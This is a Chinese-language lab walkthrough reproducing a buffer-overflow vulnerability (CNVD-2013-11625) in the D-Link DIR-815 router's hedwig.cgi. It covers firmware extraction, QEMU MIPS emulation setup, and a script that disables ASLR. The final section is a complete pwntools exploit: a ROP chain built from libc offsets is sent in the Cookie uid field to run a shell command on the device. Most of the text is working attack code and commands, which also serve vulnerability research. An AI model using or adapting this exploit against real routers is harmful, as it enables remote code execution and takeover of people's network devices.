D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0

binwalk -Me DIR-815A1_FW101SSB03.bin --run-as=root

https://people.debian.org/~aurel32/qemu/mipsel/

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

sudo apt-get install bridge-utils uml-utilities

sudo sysctl -w net.ipv4.ip_forward=1sudo iptables -Fsudo iptables -Xsudo iptables -t nat -Fsudo iptables -t nat -Xsudo iptables -t mangle -Fsudo iptables -t mangle -Xsudo iptables -P INPUT ACCEPTsudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -t nat -A POSTROUTING -o ens32 -j MASQUERADEsudo iptables -I FORWARD 1 -i tap0 -j ACCEPTsudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPTsudo ifconfig tap0 172.16.20.254 netmask 255.255.255.0

ifconfig eth0 172.16.20.2 netmask 255.255.255.0route add default gw 172.16.20.254ifconfig

scp -r squashfs-root/ [email protected]:/root

Umask 026PIDFile /var/run/httpd.pidLogGMT On  #开启logErrorLog /log #log文件Tuning{    NumConnections 15    BufSize 12288    InputBufSize 4096    ScriptBufSize 4096    NumHeaders 100    Timeout 60    ScriptTimeout 60}Control{    Types    {        text/html    { html htm }        text/xml    { xml }        text/plain    { txt }        image/gif    { gif }        image/jpeg    { jpg }        text/css    { css }        application/octet-stream { * }    }    Specials    {        Dump        { /dump }        CGI            { cgi }        Imagemap    { map }        Redirect    { url }    }    External    {        /usr/sbin/phpcgi { php }    }}Server{    ServerName "Linux, HTTP/1.1, "    ServerId "1234"    Family inet    Interface eth0         #网卡    Address 172.16.20.2  #qemu的ip地址    Port "4321"            #对应web访问端口    Virtual    {        AnyHost        Control        {            Alias /            Location /htdocs/web            IndexNames { index.php }            External            {                /usr/sbin/phpcgi { router_info.xml }                /usr/sbin/phpcgi { post_login.xml }            }        }        Control        {            Alias /HNAP1            Location /htdocs/HNAP1            External            {                /usr/sbin/hnap { hnap }            }            IndexNames { index.hnap }        }    }}

#!/bin/bashecho 0 > /proc/sys/kernel/randomize_va_spacecp http_conf /cp sbin/httpd /cp -rf htdocs/ /mkdir /etc_bakcp -r /etc /etc_bakrm /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so  /lib/cp lib/libcrypt-0.9.30.1.so  /lib/cp lib/libc.so.0  /lib/cp lib/libgcc_s.so.1  /lib/cp lib/ld-uClibc.so.0  /lib/cp lib/libcrypt.so.0  /lib/cp lib/libgcc_s.so  /lib/cp lib/libuClibc-0.9.30.1.so  /lib/cd /rm -rf /htdocs/web/hedwig.cgirm -rf /usr/sbin/phpcgirm -rf /usr/sbin/hnapln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgiln -s  /htdocs/cgibin /usr/sbin/hnap./httpd -f http_conf

http://172.16.20.2:4321/hedwig.cgi

from pwn import *import requestscontext(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'touch /tmp/havebeenpwn' libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*(4*7)payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18payload += cmd url = "http://172.16.20.2:4321/hedwig.cgi"data = {"winmt" : "pwner"}headers = {    "Cookie"        : b"uid=" + payload,    "Content-Type"  : "application/x-www-form-urlencoded",    "Content-Length": "11"}res = requests.post(url = url, headers = headers, data = data)print(res)